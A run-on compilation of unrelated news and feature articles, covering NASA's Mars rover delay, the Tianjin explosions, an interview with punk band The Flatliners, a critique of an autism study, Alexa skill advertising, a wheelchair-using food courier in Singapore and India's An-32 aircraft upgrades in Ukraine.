Similarly to Hardy, Daniel Craig made fans go crazy when director JJ Abrams confirmed his cameo, in Star Wars: The Force Awakens. Craig had a small speaking part as a stormtrooper guarding Daisy Ridley’s Rey in last year’s Episode VII. In the scene, Rey manages to hypnotise Craig’s First Order minion, using the Force to escape his clutches.
DISNEY Filming is already over half way through on Episode VIII, with this being once of the first shotsMSL is Nasa's next rover mission to the Red Planet The US space agency (Nasa) has delayed the launch of its Mars Science Laboratory rover mission. MSL was scheduled to fly next year, but the mission has been dogged by testing and hardware problems. The rover's launch would now be postponed until late 2011, agency officials said. The mission is using innovative technologies to explore whether microbial life could ever have existed on the Red Planet. The delay could add $400m to the price tag, which is likely to top $2bn. "Trying for '09 would require us to assume too much risk, more than I think is appropriate for a flagship mission," said Nasa's administrator Michael Griffin. Trying for 2009 would require us to assume too much risk - more than I think is appropriate for a flagship mission
Michael Griffin, Nasa The launch date was changed following an assessment by the mission's scientists and engineers of the progress it has made in the past three months. "Despite exhaustive work in multiple shifts by a dedicated team, the progress in recent weeks has not come fast enough on solving technical challenges and pulling hardware together," said Charles Elachi, director of Nasa's Jet Propulsion Laboratory in Pasadena, US. "The right and smart course now for a successful mission is to launch in 2011." Technology hurdles MSL will use novel technologies to adjust its flight while descending through the Martian atmosphere, and to set the rover on the surface by lowering it on a tether from a hovering platform. It is engineered to drive longer distances over rougher terrain than previous rovers and contains a science payload 10 times the mass of instruments on Nasa's Spirit and Opportunity Mars rovers. "Up to this point, efforts have focused on launching next year, both to begin the exciting science and because the delay will increase taxpayers' investment in the mission," said Doug McCuistion, director of Nasa's Mars exploration programme. "However, we've reached the point where we can not condense the schedule further without compromising vital testing." Engineers have struggled with the development of MSL's complex actuators - the motors that drive and turn the rover's wheels, and operate its robotic arm. The window for a 2009 launch ends in late October. The relative positions of Earth and Mars are favourable for flights to the Red Planet only a few weeks every two years. The next launch opportunity after 2009 is in 2011. The window in 2011 runs through October to December. Joining forces Dr Ed Weiler, chief scientist at Nasa, announced he had held discussions with the European Space Agency (Esa) about conducting joint missions to Mars in future. He said the cost of such missions meant collaboration was inevitable. Dr Weiler told reporters that preliminary discussions with his opposite number at Esa, David Southwood, had led to an informal agreement that in future they would adopt a joint architecture for all missions to the Red Planet. Europe and the US could now make ExoMars a joint mission Both agencies are likely to combine their efforts in the early 2020s to return rocks from Mars for study in Earth laboratories. Europe has already made a decision to delay the launch of its own Mars rover, ExoMars, from 2013 to 2016. Dr Weiler said there was a possibility this mission could also now become a joint venture with Nasa even though ExoMars is quite advanced in its design. "We had a very short discussion yesterday on some ideas on how we could work together on ExoMars. They are literally at the viewgraph stage at this point in time, and I think we both learned not to make too many plans based on Powerpoints," said Dr Weiler. "It is going to take some real scientists and engineers getting together and working that out. But is there a possibility it could become a joint mission? Absolutely. And we're certainly open to it and would welcome it." At its Ministerial Council meeting last week, Esa said it was actively seeking the participation of both the US and Russia on ExoMars as a means of limiting the mission's 1.2bn-euro cost. David Southwood told the BBC that international cooperation at Mars was the only way forward. "This is big," he said. "Ed and I can set the grand plan, but we need our people to get together to work out the detail. Give us six months and we'll have an announcement."
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StumbleUpon What are these? E-mail this to a friend Printable versionVorso, a producer out of Bath, UK, has been one of the major champions for halftime drum and bass in the last year or so. He’s worked with the likes of Roger Wilco and was recently discovered by U.S. dubstep boss, Run DMT. Since then his track with Run, “Gamma Ray” has featured on Noisia radio as well as UKF.com.
Your EDM thought it best, now that this halftime talent has officially broken the U.S., so snap him up for a guest mix before Vorso fever really kicks into gear. This 20-minute mix is all the halftime jams Vorso thinks we all should know, and he should know. Despite it being halftime, this mix has an urgency and an energy that is sometimes left in the lurch with this new sub-genre. It’s danceable but mellow, just like much of Vorso’s work.
Vorso is due out with some more singles on Kill Your Ego soon, but in the meantime let this mini-mix smooth out the rough edges of your Monday and check out Vorso’s Soundcloud for more of his smooth but glitchy halftime steez.Vehicles burning after blasts at Binhai new district in Tianjin municipality, China, on August 13, 2015. REUTERS/Stringer The morning after two massive explosions rocked China's northeast port city of Tianjin, the magnitude of the damage has become clear.
The twin blasts on Wednesday killed more than 100 people, according to several media reports, and they injured hundreds more. The surrounding area was left smoldering.
Early Thursday, the Beijing News newspaper cited fire department officials in Tianjin, who said dozens of firefighters were unaccounted for.
Here's the scene from China, the morning after:
REUTERS/Stringer
Firefighters were still hard at work dealing with lingering fires.
REUTERS/Jason Lee
Smoke rose over the site of the explosions in Tianjin.
REUTERS/Stringer
Few things surrounding the blast were spared.
REUTERS/Stringer
The level of destruction is surreal.
REUTERS/Stringer
Lots of smoldering metal.
REUTERS/Stringer
Even vehicles under bridges were damaged.
REUTERS/Stringer
More scattered vehicles.
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Overturned shipping containers piled up nearby.
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Hundreds were injured.
REUTERS/Stringer
Medical workers tended to the wounded.
REUTERS/Stringer
Many people were displaced.
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Some people slept outdoors.
REUTERS/Stringer
A worker near the site of the explosions.
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More workers cleaning up near the site.This is a longer version of an interview that will appear in an upcoming issue of Absolute Underground.
The Flatliners
Over the past decade or so, Toronto’s The Flatliners have proven themselves to be an unstoppable force in Canadian punk. Whether it’s as teenage ska-punk darlings or the melodic-hardcore hit-machine they are today, they’ve assembled an army of passionate fans both domestically and abroad. Absolute Underground’s Michael Luis sat down with front-man Chris Cresswell this past June in Vancouver during its iteration of the Levitation festival.
Absolute Underground: Pretty simple starter question, how’s the tour been so far?
Chris Cresswell: The tour’s been great. We started last week in Edmonton with two shows. One was with Choke and the next one was our own headlining show. We have a lot of great friends in Edmonton showing a lot of love there. It was cool, we kicked off the tour with four solid days in Edmonton just hanging out, but when we left Edmonton we felt like fuckin’ zombies – party zombies. But it’s great, man. We haven’t left out west since the fall of 2014 I think. For our standards, that’s a while.
AU: I want to ask you a bit about the band you’re bringing along for most of this trek, Together Pangea.
CC: Yeah.
AU: You’re both punk, but two different strands of punk. You’re a bit more from the melodic hardcore and skate punk side of things and they’re a bit more of the L.A., Burger Records-type scene.
CC: Totally Burger. Real Burger.
AU: So what’s that like, having these two bands from different punk niches cross-pollinating?
CC: Last night was the first show with them, but it was great. It’s the kinds of things we want to be doing these days, because there are so many great avenues under the punk highway. It’s funny to me that without really realizing it you can – there are so many bands that just tour with these types of bands. There are these bands that go one route and bands that go the other way. As much as bands do the cross-pollination, it doesn’t happen as much with smaller bands anymore. We are just fans of that band and saw that they were doing Levitation when we got confirmed for it, that we were excited to just try it out. We’ve been super lucky to tour with a lot of bands we’ve grown up listening to and stuff, but we are of a lot of different musical minds as well. It’s nice to show our fans this other side of what we’re into and that it’s okay to be into more than just “this kind” of punk and “that kind” of rock n’ roll, y’know what I mean? It’s just music anyways so there shouldn’t be any fuckin’ rules.
AU: I’ve always liked Fucked Up for that.
CC: Yeah, they’re a perfect example of that.
AU: They’ll do a tour with like Terror and some other nasty hardcore bands, then tour with some softer indie-rock bands.
CC: They did a tour with Alvvays. Fucked up is a great example because all of those guys are into so many different kinds of music and it’s cool to include every one. It should be inclusive rather than exclusive.
AU: So, you guys are on Fat Wreck Chords, and they’ve been making a documentary. I’m from Victoria and Greg, the film’s head writer lives there. I ended up meet him once at a record convention and we chatted about it. What was it like being a part of it?
CC: I did two interviews, because the first interview I was too drunk.
AU: Which is almost more appropriate for Fat.
CC: (Laughs) I haven’t seen it yet but the guy Sean – there’s Sean and Chris that were making it – they told me that there’s still a bit of the first interview in there and I think I’m just yelling and so fucking wasted. I’m kind of terrified to see it for that (laughs). But it was truly an honour. It sounds cheesy but it was. I’m 28 years old and grew up on NOFX, Lagwagon, No Use For a Name, Propagandhi and Good Riddance. Being a part of that family for almost 10 years now, it leaves an impression on you. There’s no right or wrong, no good or bad, just “this is who we are, be whoever you want to be, and we’ll support you.” That’s how Fat really does business. It’s just like working with friends. It’s crazy to be of this age and to have met, befriended, and toured with a lot of the bands that got us into this kind of music. I mean, through all of this, I’ve been able to forge an incredible friendship with Joey Cape who is a really close friend of mine now and he was one of my musical heroes growing up. He’s the guy that taught me through his songs that you can play in a fast, loud punk band and if you want to be wailing on your guitar, you can do that, but you can also have really good lyrics that are smart and you obviously thought them through and say more than just one thing in more than one way. It didn’t set in until I did the second interview for that documentary that “Shit, this is pretty real.” It just kind of seems like a dream world no matter what you’re doing, no matter at what level that you get to play with your buddies and tour. We’ve been a band for 14 years now and it’s always been the same four dudes. We’re all 28, we all started when we were super young, and no matter where we would’ve ended up, it would’ve been great. But the fact that it ended up [at Fat] is fucking crazy still. I wish the guys that made the doc all the success in the world. I think it was only a matter of time until somebody told that story. I’m glad they are because it could’ve been done in a really cheesy way. I haven’t seen it yet but I know these dudes and that they’re going to do it real well. It’s not all sunshine either. There’s got to be some fucking darkness in that story. I’m excited to see it.
AU: You mentioned you guys have been a band for almost 15 years now and you started when you super young. Do ever wonder what would’ve happened if you guys went to college and went a more traditional route? Does it ever occur to you that “shit, I’ve been in a touring punk band since grade 9”?
CC: Yeah, I think about that sometimes. I feel like – and this is crazy to think – that I’d be in more debt if I went to school than being in a touring fucking band which is crazy because you don’t make a lot of money. But I know so many friends from my school days who went to university or college or whatever and have these massive student debt and they’re working some shitty job they don’t want to work. It sucks, but that’s just the plight of our generation in a way.
AU: It’s a deeper social and political conversation (laughs).
CC: (laughs) I remember the first couple years we started touring, we were 20 at this point, and we’d run into people from school days and shit, people we weren’t necessarily super tight with, and they’d be like
“What are you up to these days?” and I’d be like,
“I’m still playing in the band with those guys.” And they’d be like,
“You’re still doing that?”
“Yeah, I’m having way more fun than you are. Go fuck yourself. I don’t give a shit what you’re doing” (laughs). There are a lot of friends of ours that you bump into and you’re like “Damn, you got your life fucking figured out, what have I done?” (laughs).
AU: They could be secretly miserable and you’d have no idea (laughs).
CC: That’s true. A lot of people probably are. There’s always those two sides, you know what I mean? I think if we all had gone off to school and still tried to make the band work, it probably wouldn’t have. It probably would’ve just fizzled out. We’d all become different people. We’ve all become different people anyways, but with that schooling we all would’ve gone in different directions maybe. I don’t know. I can’t say for certain obviously, but I have a feeling we wouldn’t be a band anymore if we did that.
AU: Fair enough.
CC: We learned about the real world instead of going to school. It’s funny, whenever we play a show at a college campus or university, we’re like “Huh, this is weird” (laughs). That’s the closest we’ve ever gotten to that environment. It’s kind of cool actually (laughs).
AU: I don’t think it would be a Flatliners interview if I didn’t ask you a bit about the ska days.
CC: Sure, man, let’s do it.
AU: I mean, I was a big fan of the first album. It’s how I got into you guys, and then as you went into the melodic punk stuff I was like “Hmm, I like this too.”
CC: That’s good to hear (laughs).
AU: But you guys ever still hang with some ska, in the van or whatever?
CC: Fuck yeah, man. Suicide Machines, Operation Ivy, Assorted Jelly Beans—
AU: And they’re back together, Assorted Jelly Beans.
CC: Are they really? What? Nice, I didn’t know that.
AU: They’re playing at that Amnesia Rock Fest in Montebello.
CC: Shit, all right, cool. But yeah, we still rock that shit all of the time. The Slackers, and like Toots, The Specials—
AU: Toots is playing in Victoria and Vancouver next weekend.
CC: Really? Is Dane [Roberts of the Victoria Ska & Reggae Fest” doing the show?
AU: Dane’s doing the show.
CC: Nice! Classic.
AU: For Ska Fest.
CC: Oh, yeah, duh, Victoria Ska Fest. Those are our roots and we’ve never forgotten them, and it was just a thing that we were so young when we started, and that was solely what we were listening to were those bands, and Leftover Crack, Choking Victim, I still love.
AU: They’re coming two weekends from now too (laughs).
CC: Nice! Still love those bands. And we run into the Leftover Crack guys every once in a while. I talked to some of those guys recently. I was trying to help out with those guys recently with merch shit for their Canadian tour. It’s cool, man. It’s such a supportive scene. It’s that whole punk umbrella that we’ve already talked about. If you want it to be [punk], it is. I think that what happened is we were 14 and we released Destroy to Create when we were 16 and that was basically the culmination of everything we had to that point. We finally had enough songs to put a record out. We did that, and we started touring right after high school, so we were 17, about a year after that record came out. Those are pretty formative years though. Your teen years, you’re really steadfast in what you believe, but you don’t know fucking anything. You think you know everything but you know jack shit. You’re really passionate about what you want to do, but something changes when you’re like 17 or 18 where you have that feeling that you’re finishing high school and you are getting older and you realize you’re about to get this dose of reality. So your mind changes and you don’t realize because it’s fairly subconscious, but it changes. It was around that time and we were just starting to tour a lot and we were meeting lots of different kinds of bands. We were always into punk too, but largely diluted down to the ska-punk shit, and we just realized in ourselves that there was another side to the story in it kind of just started to happen. We wrote these songs and we were like “This is weird right? There are no upstrokes. Is that okay?” (laughs).
AU: It wasn’t like “Today we’re not playing ska anymore!” (laughs).
CC: I remember the day in our old jam space, and it wasn’t weird; it felt great. In the end we just did what we wanted to do. And it was probably hard for a lot of hardcore ska-punk fans to realize and take in the fact that we were changing. A lot of them stuck with us, man and with every record we’ve changed a little bit. We’re working on a new record and it’s changing a little bit. It’s become over the years now, this natural progression I think. You want to push yourself and try new things. I love bands that put out crazy-different records from each other. I also love bands that put out the same kind of shit because they’re good. But there are a lot of bands that put out the same kind of record and it sucks. It’s boring. If you’re a great fucking band you can do that, but if you’re not, you can’t. We were kids and we were like “We’re not that great so let’s try some shit.” We just stirred the pot a bit and I think it worked out well. But dude, I would tour with Leftover Crack or do shows with The Suicide Machines again. I was away but [Flatliners drummer] Paul went and saw The Suicide Machines in Toronto recently.
AU: I had a buddy who was at that show. He’s from there and went back to see The Raptors in the playoffs. His buddies saw that he was going to lots of ska shows in Victoria and asked him if he wanted to see a ska show in Toronto. He was expecting some horn-laden Jamaican big band or something like The Aggrolites.
CC: Fuck, The Aggrolites are wicked.
AU: And he was given The Suicide |
university level in 1968. Smith stepped down as the football coach at the age of 51 and became the full-time athletic director. He hired his college teammate at the University of Idaho, Tony Knap, to run the football program.
“I thought if I stayed as the football coach, we would have stayed a junior college in people’s concept,” Smith said. “And I think I was right.... I knew (Knap) was a good football man.”
Knap installed a wide-open passing attack that quickly delivered results. His teams were 17-3 during two seasons (1968-1969) in limbo between the NAIA, a smaller athletic association, and the NCAA.
Boise State entered the NCAA Division II Big Sky Conference in 1970 and dominated that league with titles in 1973, 1974 and 1975. The Broncos reached the Division II playoff semifinals in 1973.
Smith, who opened the concrete Albertsons Stadium with 14,500 seats in 1970 and expanded it to 20,000 in 1974, got the most out of the athletic department — just as he had with his players.
“He could make a dollar go longer than anybody I ever knew,” Urresti said. “He could stretch a dollar from here to Caldwell.... He would buy 10 things where most people would buy two.”
Boise State head football coach Bryan Harsin, right, and the Broncos cheer legendary coach Lyle Smith before the spring game at Albertsons Stadium in April 2016. Kyle Green [email protected]
Smith retired from the athletic department in the summer of 1981 at 65.
He watched in awe as the Broncos pulled out the hook-and-lateral, halfback pass and Statue of Liberty handoff to beat Oklahoma in the Fiesta Bowl.
“That had to be an experience I’ll take to the grave,” Smith said. “I still see the hook-and-ladder. And I still see that two-point conversion. I can’t figure that out yet.... I got such a charge out of it because I’m looking down there, and I can’t believe what I’m seeing.”
The growth in the Broncos program is just as difficult to fathom. Oklahoma was the nation’s most powerful college football program in the 1950s, when Smith was stalking the sidelines in Boise. Five decades later, Boise State was better than the Sooners — at least for a day.
“For a person to have invested as much of their life in a place as Dad has and to see that culmination was phenomenal,” said Bill Smith, who sat with his dad at the Fiesta Bowl.
Smith, who has witnessed every bit of the Broncos’ success, had just one explanation for why the program succeeded at every level and avoided any sustained downturn since the 1930s and early 1940s.
“The winning spirit, the winning idea,” he said, “it’s contagious.”ST CATHARINES, ON - DECEMBER 15: Head Coach Benoit Groulx draws on a white board during the Canada National Junior Team practice at the Meridian Centre on December 15, 2014 in St Catharines, Ontario, Canada. (Photo by Vaughn Ridley/Getty Images)
When a coach has success with Canada in the pressure cooker that is the world junior championship, doors tend to open at the next level. So it has the air of inevitabiltity to learn that Benoît Groulx, who kept 22 teenagers at that optimal jaunty/focused point during one of the most intensely scrutinized WJCs of all time, is moving on from the Gatineau Olympiques.
Following the Olympiques' ouster from the Quebec League playoffs with a 4-1 loss to the Rimouski Océanic that sealed a five-game quarter-final loss, RDS reported that Groulx is moving on to another opportunity. The 47-year-old was behind the bench of the 'Piques for 13 seasons and three President's Cup championships, sandwiched around a two-year run with the Buffalo Sabres' AHL farm team from 2008-10.
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Groulx will reportedly have a hand in selecting his successor.
From Stéphane Leroux (@StephRDSJunior):
Meme s'il n'avait pas d'annonce officielle a faire Benoit Groulx a dirigé son dernier match avec @LesOlympiques confirmation a venir #RDS — Stephane Leroux (@StephRDSJunior) April 18, 2015
Groulx va continuer son travail avec l'equipe jusqu au repechage de juin et va participer au processus pour denicher d'son successeur — Stephane Leroux (@StephRDSJunior) April 18, 2015
Story continues
Wherever Groulx ends up, it adds to a string of successful coaches from the QMJHL who have left for opportunities in the bigger leagues over the past three years, such as Gerald Gallant (assistant coach with the Montreal Canadiens, now head coach the Florida Panthers), Patrick Roy (head coach, Colorado Avalanche), André Tourigny (assistant, Colorado) and Éric Veilleux (head coach, Norfolk Admirals). It's a remarkable run for a league that doesn't always receive the same regard as the other two major junior circuits.
Gatineau hasn't been as much of a force in recent years as it was its mid-aughties heyday when they won three championships in six seasons and Groulx famously helped Claude Giroux progress from being undrafted in his native Ontario to becoming a NHL first-round pick and eventual star with the Philadelphia Flyers (who come to think of it, are having a front-office shakeup). In playoffs, though, his teams often punched above their weight.
Neate Sager is a writer for Yahoo! Canada Sports. Follow him on Twitter @neatebuzzthenet.Let's start with the headlines blaring the news about a recent autism study. They almost invariably use the phrase "grow out of autism," even though the study itself does not use that phrase or even reference "grow" except to talk about head circumference. Instead, the authors of the report, published in The Journal of Child Psychology and Psychiatry, use the term "optimal outcomes" to describe what they detected in a group of 34 people who were diagnosed as autistic when they were under age 5.
As the study authors themselves state, this idea that autistic people might show reduced deficits to the point of losing a diagnosis is not new. In fact, first author Deborah Fein and colleagues cite studies identifying frequencies of "optimal outcomes" as high as 37% among autistic people. The lingering open questions relate to whether or not the autistic people in these studies had received the correct diagnosis in the first place. The only "novelty" of these latest results appears to be confirmation that indeed, the 34 people they identified as having an "optimal outcome" did receive an accurate diagnosis of autism in childhood. In other words, they are confirmed to have had a developmental disorder, a neurobiological condition called autism -- yet, they "grew out of it."
The rest? Nothing new. The people who show these optimal outcomes tend to have started out with, as the authors describe it, "higher cognitive functioning and somewhat milder initial symptoms." Many of them had behavioral interventions in childhood. The researchers point out that the perception that everything's all hunky-dory for the 34 people they evaluated does not rule out their having "residual difficulties" with various aspects of autism, including executive function--think project management--or language or social interaction.
For each participant, whose ages ranged from 8 to almost 22 years, the researchers interviewed the parents. One of the required parental answers for a participant to be considered for the optimal outcome category? The parent had to report that their child/adult child "had typically developing friends." That question seems to imply a certain low expectation for autistic people, many of whom I know have "typically developing friends" despite themselves still being autistic. It certainly suggests that for people who continue to meet the criteria for an autism diagnosis, any pursuit of a friend of the "typical" sort would be futile.
How did those 34 "optimal outcome" participants do on the various measures of "are you autistic or not"? Well, seven of them--that's >20% of the group--turned out to have "some impairment" in nonverbal social interaction. For reasons that are unclear, the researchers decided that these impairments were not the result of "an autistic quality" but of "inhibition, anxiety, depression, inattention and impulsivity, embarrassment, or hostility." Of course, each of those themselves could be secondary to autism. Even though this 20% showed impairment, they were retained as being "optimal outcome" folk, those who, as the news media report might say, "grew out of" autism.
To determine whether or not these autistic people were still autistic, the research team administered a battery of tests; they list eight in their paper. Of these eight, three were parent completed. One consisted of clinician observation and scoring. One was an IQ test. One was a handedeness test (left-handedness is more common among autistic people), and the remaining two evaluated facial recognition and language. ETA: None of them examined if the participants retained any of the positive aspects of being autistic--refined sensory detection, detail orientation, pattern finding, etc.
Let's go back to those news media stories. In one interview, lead author Fein commented that "these people did not just grow out of their autism." She then goes on to credit the hard work of the parents and therapists of "these people" for any improvements, but I'd suggest that "these people" also did a lot of hard work--and probably still are doing so. The thing is, no one seems to have asked "these people" about that.
Among the many articles covering this study, I couldn't find a single one featuring an autistic person commenting about the report. As you can see from how the researchers evaluated their 34 "optimal outcomers," they don't appear to have asked said optimals about how their internal function jibes with the external results or what they do to achieve those results. Because no one else seems to have bothered to ask autistic people these questions, I did. I polled the autistic community via social media, asking autistic adults what's going on inside them when they appear outwardly typical and asking any readers if they felt they'd "grown out of" autism.
Their response was immediate and intense. "I don't 'look' like I have it, but I do," responded one autistic woman, who went on to describe how she's learned over time about different expectations for behavior and tried to apply those. Others describe using pattern recognition to navigate socially, while still others report having an "optimal outcome"-like period in later childhood but then experiencing a trough of struggles in early adulthood as new responsibilities and expectations arose. They wrote to me about self-monitoring, about working hard to compensate in social situations but then experiencing crashing exhaustion afterward. They talked about self-selecting their social groups as adults as a way of feeling more socially at ease. The concepts that came up again and again and again were "compensating" and "coping."
It's not a huge surprise that autistic people with average or above-average cognitive abilities might be able to intellectualize social rules and algorithms and put them convincingly into practice. Does that ability mean that they aren't really autistic? The real crux to answering that is this: Do we view autism only as a clinical diagnosis based solely on behavior and outward function, or do we talk about it as a neurobiological construct and identification, with an understanding of the context of the hidden disability and the hard work that those outward behaviors require?
Many conditions that we measure either directly with lab tests or behaviorally can lie under a mask of apparent normalcy or typicality. A woman with diabetes who maintains her blood sugar at a healthy level through diet and medication still has diabetes. A person with obsessive-compulsive disorder who fights successfully every second of every day against caving to obsession or compulsion still has the disorder. Anyone who has ever put on a public face when all they wanted to do was stay in bed should understand something about doing the internal hard work of compensating for a disability without showing outward manifestations of it.
Does that capacity mean, in the parlance of the news media reports or an editorial accompanying the paper, that the up to 25% of autistic people who can do this are "recovered" and no longer autistic? Or does it mean, rather, that they've become increasingly adept at meeting the interaction standards of the social majority?WASHINGTON — Congressional Republicans, not resting with the Internal Revenue Service scandal, are moving to broaden the matter to an array of tax malfeasances and “intimidation tactics” they hope will ensnare the White House.
Republican charges range from clearly questionable actions to seemingly specious allegations, and they grow by the day. On Friday, lawmakers sought to tie the I.R.S. matter to the carrying out of President Obama’s health care law, which will rely heavily on the agency. Whether they succeed holds significant ramifications for Mr. Obama, who will soon know if he is dealing with a late spring thunderstorm that may soon blow over or a consuming squall that will leave lasting damage.
Representative Dave Camp, Republican of Michigan, the usually mild-mannered chairman of the House Ways and Means Committee, set the tone Friday at Congress’s first hearing on the targeting of conservative groups by the I.R.S., laying out details, from the alleged threatening of donors to conservative nonprofit groups to the leaking of confidential I.R.S. documents.
In that context, he said, the screening of Tea Party groups for special scrutiny was not the scandal itself but “just the latest example of a culture of cover-ups — and political intimidation — in this administration.”Updated, May 17: Amazon has issued a statement on Voicelabs, saying: "Amazon is not collaborating with VoiceLabs on advertisements. We allow third-party skills on Alexa that adheres to our policies, including our advertising policy."
Voicelabs has also confirmed that it is "not collaborating with Amazon on Sponsored Messages. Amazon was aware of Sponsored Messages for the past few months, but Sponsored Messages is 100 percent controlled and run by VoiceLabs." Voicelabs has collaborated with Amazon on VoiceInsights, a separate analytics tool that is part of Amazon's Experienced Tools collection for Alexa.
Original Story
Where there's a media platform popular with consumers, advertisers are never far behind. Case in point, Amazon's digital assistant, Alexa, which has made its way into everything from smartphones to fridges since launching inside a wireless speaker back in 2014. VoiceLabs, a chunderifically self-described "Voice Experience Analytics" company, is hoping to cash-in on Amazon's success by inserting "6-15 seconds long" advertisements "at the start and end of conversations." This, the company hopes, "can naturally lead a consumer into an experience," which is a polite way of saying "we will make you buy all the things."
VoiceLabs' plans to place audio ads inside Skills—third-party apps created by developers that allow Alexa to do things like book an Uber or turn on some smart lights—stand in stark contrast to Amazon's developer agreement, which restricts "any advertising for third-party products or services." The only Skills that are officially able to feature any form of advertising are streaming music, radio, and flash briefings.
In an interview with Cnet, VoiceLabs' CEO Adam Marchick maintained that it is currently "100 percent in compliance with Amazon's policies," by sticking to advertisements in streaming audio and flash briefings. However, the CEO also offered up a theoretical example of a developer creating a sports trivia skill, which could then offer advertisements from ESPN, one of the company's launch partners. Fast food vendor Wendy’s is also on board at launch, with Skills developers Federated Media, XAPPmedia, TWiT.tv, and Appbly signed up to insert advertisements into their apps.
One long advertisement could theoretically be split up into smaller parts, which "tell a brand story over the course of multiple user sessions," according to VoiceLabs' Alex Linares. However, the company is promising that consumers will at least be spared repeated advertisements, with time frames such as "once every 15 sessions" being touted. Sponsored messages will also be "clearly marked as advertising," although it's not clear how they will be de-marked.
But what about the devs?
While it's extremely unlikely that Alexa users will welcome any advertising intrusions, there is an upside for independent developers. Many were angry when Amazon placed restrictions on ads within Skills, claiming that without advertising income there was no way for them to invest time into further development. Indeed, with a few notable exceptions from large companies, most Alexa Skills are of questionable utility, to say the least. By reintroducing advertising income, VoiceLabs hopes to create a more robust ecosystem.
If Amazon is backing sponsored messages as Marchick claims, it would be an odd move. Amazon has its own advertising platform and payments platform, both of which could be leveraged in order to fund Skills development. At the very least, introducing charges for Skills—currently all are free of charge—would help the company garner backing from cash-strapped developers. Then again, if you try out a few Skills, you'll find that some devs are openly breaking Amazon's advertising ban.
"With 10,000 Skills, how are you going to tell if someone starts advertising?" developer Joseph Jaquinta asked TechCrunch in April. "I'm not seriously affected by the change in advertising policy. I had advertising in my Skills before they even had a policy. And I've been in violation of their policy from the first day they introduced it. But they have zero enforcement and have never asked me about it."Like any other food delivery man, Mr Kamas Mohd carries an insulated bag and constantly checks his mobile phone for orders.
Unlike other delivery men, though, the 46-year-old does not use a bicycle, motorcycle or car.
Instead, Mr Kamas, who suffered a spinal cord injury from a workplace accident in 1996 and is paralysed from the waist down, goes about his daily delivery rounds on a motorised wheelchair with a bag buckled to the back of his seat and a phone strapped to his thigh.
But he stresses that he is not slower than anyone else - he can fulfil a delivery order within the same timeframe of 35 minutes.
The para-athlete, who represented Singapore at the 2015 Asean Para Games in wheelchair basketball, signed on to become an UberEats delivery partner in May.
He was introduced to the work by his friend after he was asked to resign from his previous job as an assistant land leader at Bizlink Centre, a non-profit organisation that hires persons with disabilities.
Mr Kamas Mohd, who stresses that he is not slower than other delivery men, makes as many as 10 trips a day - up to 11 hours of work - collecting and delivering food to hungry customers. ST PHOTO: SAMUEL RUBY
BETTER PAY I liked my previous job, but the salary was not enough to pay rental and buy food. Now, with this job, it is easier. I can follow my own time and target, and earn more. MR KAMAS MOHD, on his current job.
EXAMPLE FOR OTHERS Maybe then, more people like me will realise they can also do such jobs. MR KAMAS, on seeing his photo being shared on Facebook.
There, he managed about 70 others in packing services for goodie bags and letters, he told The Straits Times.
Mr Kamas suffered a broken leg last year when he fell while on the way to work.
Due to his injury, doctors granted him nearly two years of medical leave in total, but his manager informed him that Bizlink was unable to keep him on the payroll for the entire time. The manager said he could return when his medical leave was over.
Mr Kamas, who is divorced with no children and lives alone in a rental flat in Redhill, decided to give the delivery gig a shot.
"I was scared I wouldn't get the job because of my condition," he said.
But UberEats accepted him and, since May, he has been earning about $400 a week - or about $4 to $10 per delivery.
His previous job paid about $530 a month.
"I liked my previous job, but the salary was not enough to pay rental and buy food," said Mr Kamas. "Now, with this job, it is easier. I can follow my own time and target, and earn more."
Currently, his rent, water and electricity bills, and town council conservancy fees of about $200 a month are being paid for by the Ministry of Social and Family Development. He also receives $300 cash a month.
Before his leg injury, Mr Kamas paid his rent and bills on his own and did not receive any financial assistance.
When the assistance ceases at the end of the year, Mr Kamas, who once lived at a void deck in Boon Lay for three years, is determined to be financially independent again.
Now, he makes as many as 10 trips a day - up to 11 hours of work - collecting and delivering food to hungry customers in areas such as Tiong Bahru, the Central Business District, Orchard Road and Thomson Road.
Rain or shine, he said, he has not cancelled an order so far.
"As long as I get a trip, I will go," said Mr Kamas, adding that he takes a raincoat with him.
With his earnings from making deliveries, he has managed to save up enough money to upgrade his wheelchair set-up to a personal mobility scooter, which cost him $1,400.
So far, customers' reactions to his work have been favourable.
Most times, when people see him in his wheelchair, they are either surprised or amazed, he said. Some even tip him generously for his service, he added.
A few months ago, Mr Kamas' story made the rounds on social media after he was featured on Stomp. A customer had praised him for travelling 2.5km on his wheelchair to her home in Stirling Road.
He said that seeing his photo being shared on Facebook made him happy.
"Maybe then, more people like me will realise they can also do such jobs," he said.Ukraine is reportedly failing India with upgrades to its An-32 transport aircraft. At least five planes have allegedly gone missing in Ukraine. Meanwhile, work on Indian soil has been halted after Ukrainian engineers were pulled out.
The Indian Air Force sent 40 An-32s to Ukraine to be upgraded at the Kiev-based state-owned Antonov plant under a 2009 service contract. But the last five of them have become “untraceable,” an Indian Air Force official told Defense News.
Another 64 An-32 had to be upgraded locally, but Ukrainian engines tasked with the job departed and the supply of spare parts stopped, he added.
"These five aircraft are almost lost as it is difficult to trace them and diplomatic efforts to find their whereabouts have failed," the anonymous official is quoted as saying.
Earlier Indian Defense Minister Manohar Parrikar said the last batch of An-32s sent to Ukraine for upgrade had been “stuck” there due to the ongoing crisis, Economic Times reported.
The contract to upgrade India’s fleet of An-32 is worth $400 million and was expected to run through 2017. The goal is to increase the aircraft life expectancy from 25 to 40 years and provide it with improved avionics, a modernized cockpit and an increase in capacity from 6.7 to 7.5 tons.
"As AN-32 formed the bulk of the medium-lift segment of the transport fleet, urgent replacement of the Avro fleet, finalization of the joint development of medium transport aircraft and possible fresh purchases are some of the options which IAF will need to work on an urgent basis," commented retired Air Force wing commander Bhim Singh.
READ MORE: India ready to spend $25bn on Russian 5G fighter jets
The military news website contacted the Ukrainian embassy, which said Antonov must resolve this issue with the Indian Air Force on its own. The company would not comment on the issue.
India’s defense ministry has denied speculation that its An-32 transport planes have been going missing in Ukraine.
“Media reports about the Indian military aircraft disappearing during the modernization are unfounded. This is confirmed by the Indian Air Force. The last batch of five An-32 aircraft, which were sent to Ukraine for repairs, remains at the factory in Ukraine,” the ministry said in a statement.
India and Russia are developing a medium-lift transport plane called UAC/HAL Il-214, which would replace the aging An-32 fleet. Russia's UAC and Hindustan Aeronautics have established a joint venture for the purpose, but the project is progressing slowly due to issues relating to production work sharing.
Ukraine is undergoing a period of political and economic turbulence in the wake of the armed coup, which deposed President Viktor Yanukovich last year and imposed an anti-Russian government in Kiev. The new elected government is pursuing a policy of severing economic ties with Russia, adversely affecting some industries like the defense sector in both countries, which were historically interlinked.
